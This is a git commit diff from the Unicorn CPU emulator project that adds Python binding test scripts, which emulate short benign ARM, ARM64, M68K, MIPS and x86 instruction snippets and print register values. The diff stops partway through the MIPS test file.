Python binding setup refactoring + cibuildwheel workflow (#2026)
* Python bindings: Make the test scripts handy for pytest * Python bindings: Update MANIFEST.in with new paths * Update .gitignore to exclude PyCharm-related files/folders * Python bindings: Update CMakeLists.txt in order to set CMAKE_OSX_ARCHITECTURES var * Python bindings: - Moved project package settings to the new TOML format - Refactored setup.py to cleanup/improve the code and make it ready for cibuildwheel - Updated README.md with the package long description part - Removed setup.cfg since universal wheel building will be deprecated soon * Python bindings: - Replaced old PyPI-publishing.yml workflow with brand-new one based on cibuildwheel - Removed old building scripts * Replaced macos-12 runner with macos-13 since it will be removed soon * Python bindings: Specify SYSTEM_VERSION_COMPAT=0 env var for macos-13 x86_64 runner as per cibuildwheel warning message * Python bindings: Enable i686 for debugging * Python bindings: Enable DEBUG flag according to the presence of tag release * Python bindings: Added matrix to cover i686 manylinux/musllinux builds * Python bindings: - Replaced macos-14 runner with macos-latest - Bumped cibuildwheel GitHub action to 2.21.3 version * Python bindings: - Adapt test_uc_ctl_tb_cache test to the recent changes - Fixed typos - PEP8 fixes * GitHub Action Workflow: Introduce BUILD_TYPE env var to select build type according to the presence of tag release --------- Co-authored-by: mio <mio@lazym.io>
This commit is contained in:
127
bindings/python/tests/test_arm.py
Executable file
127
bindings/python/tests/test_arm.py
Executable file
@@ -0,0 +1,127 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for ARM of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.arm_const import *
|
||||
|
||||
# code to be emulated
|
||||
ARM_CODE = b"\x37\x00\xa0\xe3\x03\x10\x42\xe0" # mov r0, #0x37; sub r1, r2, r3
|
||||
THUMB_CODE = b"\x83\xb0" # sub sp, #0xc
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# Test ARM
|
||||
def test_arm():
|
||||
print("Emulate ARM code")
|
||||
try:
|
||||
# Initialize emulator in ARM mode
|
||||
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, ARM_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_ARM_REG_R0, 0x1234)
|
||||
mu.reg_write(UC_ARM_REG_R2, 0x6789)
|
||||
mu.reg_write(UC_ARM_REG_R3, 0x3333)
|
||||
mu.reg_write(UC_ARM_REG_APSR, 0xFFFFFFFF) # All application flags turned on
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing one instruction at ADDRESS with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r0 = mu.reg_read(UC_ARM_REG_R0)
|
||||
r1 = mu.reg_read(UC_ARM_REG_R1)
|
||||
print(">>> R0 = 0x%x" % r0)
|
||||
print(">>> R1 = 0x%x" % r1)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_thumb():
|
||||
print("Emulate THUMB code")
|
||||
try:
|
||||
# Initialize emulator in thumb mode
|
||||
mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, THUMB_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_ARM_REG_SP, 0x1234)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
# Note we start at ADDRESS | 1 to indicate THUMB mode.
|
||||
mu.emu_start(ADDRESS | 1, ADDRESS + len(THUMB_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
sp = mu.reg_read(UC_ARM_REG_SP)
|
||||
print(">>> SP = 0x%x" % sp)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_read_sctlr():
|
||||
print("Read SCTLR")
|
||||
try:
|
||||
# Initialize emulator in thumb mode
|
||||
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)
|
||||
|
||||
# Read SCTLR
|
||||
# cp = 15
|
||||
# is64 = 0
|
||||
# sec = 0
|
||||
# crn = 1
|
||||
# crm = 0
|
||||
# opc1 = 0
|
||||
# opc2 = 0
|
||||
val = mu.reg_read(UC_ARM_REG_CP_REG, (15, 0, 0, 1, 0, 0, 0))
|
||||
print(">>> SCTLR = 0x%x" % val)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_arm()
|
||||
print("=" * 26)
|
||||
test_thumb()
|
||||
print("=" * 26)
|
||||
test_read_sctlr()
|
||||
125
bindings/python/tests/test_arm64.py
Executable file
125
bindings/python/tests/test_arm64.py
Executable file
@@ -0,0 +1,125 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for ARM64 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.arm64_const import *
|
||||
|
||||
# code to be emulated
|
||||
ARM64_CODE = b"\xab\x05\x00\xb8\xaf\x05\x40\x38" # str x11, [x13]; ldrb x15, [x13]
|
||||
|
||||
# MSR code
|
||||
ARM64_MRS_CODE = b"\x62\xd0\x3b\xd5" # mrs x2, tpidrro_el0
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# Test ARM64
|
||||
def test_arm64():
|
||||
print("Emulate ARM64 code")
|
||||
try:
|
||||
# Initialize emulator in ARM mode
|
||||
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, ARM64_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_ARM64_REG_X11, 0x12345678)
|
||||
mu.reg_write(UC_ARM64_REG_X13, 0x10008)
|
||||
mu.reg_write(UC_ARM64_REG_X15, 0x33)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing one instruction with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(ARM64_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
print(">>> As little endian, X15 should be 0x78:")
|
||||
|
||||
x11 = mu.reg_read(UC_ARM64_REG_X11)
|
||||
x13 = mu.reg_read(UC_ARM64_REG_X13)
|
||||
x15 = mu.reg_read(UC_ARM64_REG_X15)
|
||||
print(">>> X15 = 0x%x" % x15)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_arm64_read_sctlr():
|
||||
print("Read SCTLR_EL1")
|
||||
try:
|
||||
# Initialize emulator in ARM mode
|
||||
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
|
||||
|
||||
# Read SCTLR_EL1
|
||||
# crn = 1;
|
||||
# crm = 0;
|
||||
# op0 = 3;
|
||||
# op1 = 0;
|
||||
# op2 = 0;
|
||||
val = mu.reg_read(UC_ARM64_REG_CP_REG, (1, 0, 3, 0, 0))
|
||||
print(">>> SCTLR_EL1 = 0x%x" % val)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_arm64_hook_mrs():
|
||||
def _hook_mrs(uc, reg, cp_reg, _):
|
||||
print(f">>> Hook MRS instruction: reg = 0x{reg:x}(UC_ARM64_REG_X2) cp_reg = {cp_reg}")
|
||||
uc.reg_write(reg, 0x114514)
|
||||
print(">>> Write 0x114514 to X")
|
||||
|
||||
# Skip MRS instruction
|
||||
return True
|
||||
|
||||
print("Test hook MRS instruction")
|
||||
try:
|
||||
# Initialize emulator in ARM mode
|
||||
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
|
||||
|
||||
# Map an area for code
|
||||
mu.mem_map(0x1000, 0x1000)
|
||||
|
||||
# Write code
|
||||
mu.mem_write(0x1000, ARM64_MRS_CODE)
|
||||
|
||||
# Hook MRS instruction
|
||||
mu.hook_add(UC_HOOK_INSN, _hook_mrs, None, 1, 0, UC_ARM64_INS_MRS)
|
||||
|
||||
# Start emulation
|
||||
mu.emu_start(0x1000, 0x1000 + len(ARM64_MRS_CODE))
|
||||
|
||||
print(f">>> X2 = {mu.reg_read(UC_ARM64_REG_X2):x}")
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_arm64()
|
||||
print("=" * 26)
|
||||
test_arm64_read_sctlr()
|
||||
print("=" * 26)
|
||||
test_arm64_hook_mrs()
|
||||
68
bindings/python/tests/test_arm64eb.py
Executable file
68
bindings/python/tests/test_arm64eb.py
Executable file
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for ARM64 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
|
||||
# AARCH64 Python sample ported by zhangwm <rustydaar@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.arm64_const import *
|
||||
|
||||
# code to be emulated
|
||||
ARM64_CODE = b"\xab\x05\x00\xb8\xaf\x05\x40\x38" # str x11, [x13]; ldrb x15, [x13]
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# Test ARM64
|
||||
def test_arm64():
|
||||
print("Emulate ARM64 Big-Endian code")
|
||||
try:
|
||||
# Initialize emulator in ARM mode
|
||||
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM | UC_MODE_BIG_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, ARM64_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_ARM64_REG_X11, 0x12345678)
|
||||
mu.reg_write(UC_ARM64_REG_X13, 0x10008)
|
||||
mu.reg_write(UC_ARM64_REG_X15, 0x33)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(ARM64_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
print(">>> As big endian, X15 should be 0x12:")
|
||||
|
||||
x11 = mu.reg_read(UC_ARM64_REG_X11)
|
||||
x13 = mu.reg_read(UC_ARM64_REG_X13)
|
||||
x15 = mu.reg_read(UC_ARM64_REG_X15)
|
||||
print(">>> X15 = 0x%x" % x15)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_arm64()
|
||||
103
bindings/python/tests/test_armeb.py
Executable file
103
bindings/python/tests/test_armeb.py
Executable file
@@ -0,0 +1,103 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for ARM big endian of Unicorn. zhangwm <rustydaar@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.arm_const import *
|
||||
|
||||
# code to be emulated
|
||||
ARM_CODE = b"\xe3\xa0\x00\x37\xe0\x42\x10\x03" # mov r0, #0x37; sub r1, r2, r3
|
||||
THUMB_CODE = b"\xb0\x83" # sub sp, #0xc
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# Test ARM
|
||||
def test_arm():
|
||||
print("Emulate ARM Big-Endian code")
|
||||
try:
|
||||
# Initialize emulator in ARM mode
|
||||
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM | UC_MODE_BIG_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, ARM_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_ARM_REG_R0, 0x1234)
|
||||
mu.reg_write(UC_ARM_REG_R2, 0x6789)
|
||||
mu.reg_write(UC_ARM_REG_R3, 0x3333)
|
||||
mu.reg_write(UC_ARM_REG_APSR, 0xFFFFFFFF) # All application flags turned on
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing one instruction at ADDRESS with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r0 = mu.reg_read(UC_ARM_REG_R0)
|
||||
r1 = mu.reg_read(UC_ARM_REG_R1)
|
||||
print(">>> R0 = 0x%x" % r0)
|
||||
print(">>> R1 = 0x%x" % r1)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_thumb():
|
||||
print("Emulate THUMB code")
|
||||
try:
|
||||
# Initialize emulator in thumb mode
|
||||
mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB | UC_MODE_BIG_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, THUMB_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_ARM_REG_SP, 0x1234)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
# Note we start at ADDRESS | 1 to indicate THUMB mode.
|
||||
mu.emu_start(ADDRESS | 1, ADDRESS + len(THUMB_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
sp = mu.reg_read(UC_ARM_REG_SP)
|
||||
print(">>> SP = 0x%x" % sp)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_arm()
|
||||
print("=" * 26)
|
||||
test_thumb()
|
||||
129
bindings/python/tests/test_ctl.py
Executable file
129
bindings/python/tests/test_ctl.py
Executable file
@@ -0,0 +1,129 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for Unicorn.
|
||||
# By Lazymio(@wtdcode), 2021
|
||||
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import *
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
def test_uc_ctl_read():
|
||||
uc = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
print("Reading some properties by uc_ctl.")
|
||||
|
||||
arch = uc.ctl_get_arch()
|
||||
|
||||
mode = uc.ctl_get_mode()
|
||||
|
||||
page_size = uc.ctl_get_page_size()
|
||||
|
||||
timeout = uc.ctl_get_timeout()
|
||||
|
||||
print(f">>> arch={arch} mode={mode} page size={page_size} timeout={timeout}")
|
||||
|
||||
|
||||
def time_emulation(uc, start, end):
|
||||
n = datetime.now()
|
||||
|
||||
uc.emu_start(start, end)
|
||||
|
||||
return (datetime.now() - n).total_seconds() * 1e6
|
||||
|
||||
|
||||
def test_uc_ctl_tb_cache():
|
||||
# Initialize emulator in X86-32bit mode
|
||||
uc = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
addr = 0x10000
|
||||
|
||||
# Fill the code buffer with NOP.
|
||||
code = b"\x90" * 8 * 512
|
||||
|
||||
print("Controlling the TB cache in a finer granularity by uc_ctl.")
|
||||
|
||||
uc.mem_map(addr, 0x10000)
|
||||
|
||||
# Write our code to the memory.
|
||||
uc.mem_write(addr, code)
|
||||
|
||||
# Do emulation without any cache.
|
||||
standard = time_emulation(uc, addr, addr + len(code))
|
||||
|
||||
# Now we request cache for all TBs.
|
||||
for i in range(8):
|
||||
tb = uc.ctl_request_cache(addr + i * 512)
|
||||
print(f">>> TB is cached at {hex(tb[0])} which has {tb[1]} instructions with {tb[2]} bytes")
|
||||
|
||||
# Do emulation with all TB cached.
|
||||
cached = time_emulation(uc, addr, addr + len(code))
|
||||
|
||||
# Now we clear cache for all TBs.
|
||||
for i in range(8):
|
||||
uc.ctl_remove_cache(addr + i * 512, addr + i * 512 + 1)
|
||||
|
||||
evicted = time_emulation(uc, addr, addr + len(code))
|
||||
|
||||
print(f">>> Run time: First time {standard}, Cached: {cached}, Cached evicted: {evicted}")
|
||||
|
||||
|
||||
def trace_new_edge(uc, cur, prev, data):
|
||||
print(f">>> Getting a new edge from {hex(prev.pc + prev.size - 1)} to {hex(cur.pc)}")
|
||||
|
||||
|
||||
def trace_tcg_sub(uc, address, arg1, arg2, size, data):
|
||||
print(f">>> Get a tcg sub opcode at {hex(address)} with args: {arg1} and {arg2}")
|
||||
|
||||
|
||||
def test_uc_ctl_exits():
|
||||
uc = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
addr = 0x1000
|
||||
# cmp eax, 0;
|
||||
# jg lb;
|
||||
# inc eax;
|
||||
# nop;
|
||||
# lb:
|
||||
# inc ebx;
|
||||
# nop;
|
||||
code = b"\x83\xf8\x00\x7f\x02\x40\x90\x43\x90"
|
||||
exits = [addr + 6, addr + 8]
|
||||
|
||||
print("Using multiple exits by uc_ctl")
|
||||
|
||||
uc.mem_map(addr, 0x1000)
|
||||
|
||||
# Write our code to the memory.
|
||||
uc.mem_write(addr, code)
|
||||
|
||||
# We trace if any new edge is generated.
|
||||
uc.hook_add(UC_HOOK_EDGE_GENERATED, trace_new_edge)
|
||||
|
||||
# Trace cmp instruction.
|
||||
uc.hook_add(UC_HOOK_TCG_OPCODE, trace_tcg_sub, aux1=UC_TCG_OP_SUB, aux2=UC_TCG_OP_FLAG_CMP)
|
||||
|
||||
uc.ctl_exits_enabled(True)
|
||||
|
||||
uc.ctl_set_exits(exits)
|
||||
|
||||
# This should stop at ADDRESS + 6 and increase eax, even though we don't provide an exit.
|
||||
uc.emu_start(addr, 0)
|
||||
|
||||
eax = uc.reg_read(UC_X86_REG_EAX)
|
||||
ebx = uc.reg_read(UC_X86_REG_EBX)
|
||||
|
||||
print(f">>> eax = {hex(eax)} and ebx = {hex(ebx)} after the first emulation")
|
||||
|
||||
# This should stop at ADDRESS + 8, even though we don't provide an exit.
|
||||
uc.emu_start(addr, 0)
|
||||
|
||||
eax = uc.reg_read(UC_X86_REG_EAX)
|
||||
ebx = uc.reg_read(UC_X86_REG_EBX)
|
||||
|
||||
print(f">>> eax = {hex(eax)} and ebx = {hex(ebx)} after the first emulation")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
test_uc_ctl_read()
|
||||
print("=" * 32)
|
||||
test_uc_ctl_tb_cache()
|
||||
print("=" * 32)
|
||||
test_uc_ctl_exits()
|
||||
87
bindings/python/tests/test_m68k.py
Executable file
87
bindings/python/tests/test_m68k.py
Executable file
@@ -0,0 +1,87 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for ARM of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.m68k_const import *
|
||||
|
||||
# code to be emulated
|
||||
M68K_CODE = b"\x76\xed" # movq #-19, %d3
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# Test ARM
|
||||
def test_m68k():
|
||||
print("Emulate M68K code")
|
||||
try:
|
||||
# Initialize emulator in ARM mode
|
||||
mu = Uc(UC_ARCH_M68K, UC_MODE_BIG_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, M68K_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_M68K_REG_D3, 0x1234)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(M68K_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
a0 = mu.reg_read(UC_M68K_REG_A0)
|
||||
a1 = mu.reg_read(UC_M68K_REG_A1)
|
||||
a2 = mu.reg_read(UC_M68K_REG_A2)
|
||||
a3 = mu.reg_read(UC_M68K_REG_A3)
|
||||
a4 = mu.reg_read(UC_M68K_REG_A4)
|
||||
a5 = mu.reg_read(UC_M68K_REG_A5)
|
||||
a6 = mu.reg_read(UC_M68K_REG_A6)
|
||||
a7 = mu.reg_read(UC_M68K_REG_A7)
|
||||
d0 = mu.reg_read(UC_M68K_REG_D0)
|
||||
d1 = mu.reg_read(UC_M68K_REG_D1)
|
||||
d2 = mu.reg_read(UC_M68K_REG_D2)
|
||||
d3 = mu.reg_read(UC_M68K_REG_D3)
|
||||
d4 = mu.reg_read(UC_M68K_REG_D4)
|
||||
d5 = mu.reg_read(UC_M68K_REG_D5)
|
||||
d6 = mu.reg_read(UC_M68K_REG_D6)
|
||||
d7 = mu.reg_read(UC_M68K_REG_D7)
|
||||
pc = mu.reg_read(UC_M68K_REG_PC)
|
||||
sr = mu.reg_read(UC_M68K_REG_SR)
|
||||
print(">>> A0 = 0x%x\t\t>>> D0 = 0x%x" % (a0, d0))
|
||||
print(">>> A1 = 0x%x\t\t>>> D1 = 0x%x" % (a1, d1))
|
||||
print(">>> A2 = 0x%x\t\t>>> D2 = 0x%x" % (a2, d2))
|
||||
print(">>> A3 = 0x%x\t\t>>> D3 = 0x%x" % (a3, d3))
|
||||
print(">>> A4 = 0x%x\t\t>>> D4 = 0x%x" % (a4, d4))
|
||||
print(">>> A5 = 0x%x\t\t>>> D5 = 0x%x" % (a5, d5))
|
||||
print(">>> A6 = 0x%x\t\t>>> D6 = 0x%x" % (a6, d6))
|
||||
print(">>> A7 = 0x%x\t\t>>> D7 = 0x%x" % (a7, d7))
|
||||
print(">>> PC = 0x%x" % pc)
|
||||
print(">>> SR = 0x%x" % sr)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_m68k()
|
||||
100
bindings/python/tests/test_mips.py
Executable file
100
bindings/python/tests/test_mips.py
Executable file
@@ -0,0 +1,100 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for MIPS of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.mips_const import *
|
||||
|
||||
# code to be emulated
|
||||
MIPS_CODE_EB = b"\x34\x21\x34\x56" # ori $at, $at, 0x3456;
|
||||
MIPS_CODE_EL = b"\x56\x34\x21\x34" # ori $at, $at, 0x3456;
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# Test MIPS EB
|
||||
def test_mips_eb():
|
||||
print("Emulate MIPS code (big-endian)")
|
||||
try:
|
||||
# Initialize emulator in MIPS32 + EB mode
|
||||
mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, MIPS_CODE_EB)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_MIPS_REG_1, 0x6789)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(MIPS_CODE_EB))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r1 = mu.reg_read(UC_MIPS_REG_1)
|
||||
print(">>> R1 = 0x%x" % r1)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
# Test MIPS EL
|
||||
def test_mips_el():
|
||||
print("Emulate MIPS code (little-endian)")
|
||||
try:
|
||||
# Initialize emulator in MIPS32 + EL mode
|
||||
mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, MIPS_CODE_EL)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_MIPS_REG_1, 0x6789)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(MIPS_CODE_EL))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r1 = mu.reg_read(UC_MIPS_REG_1)
|
||||
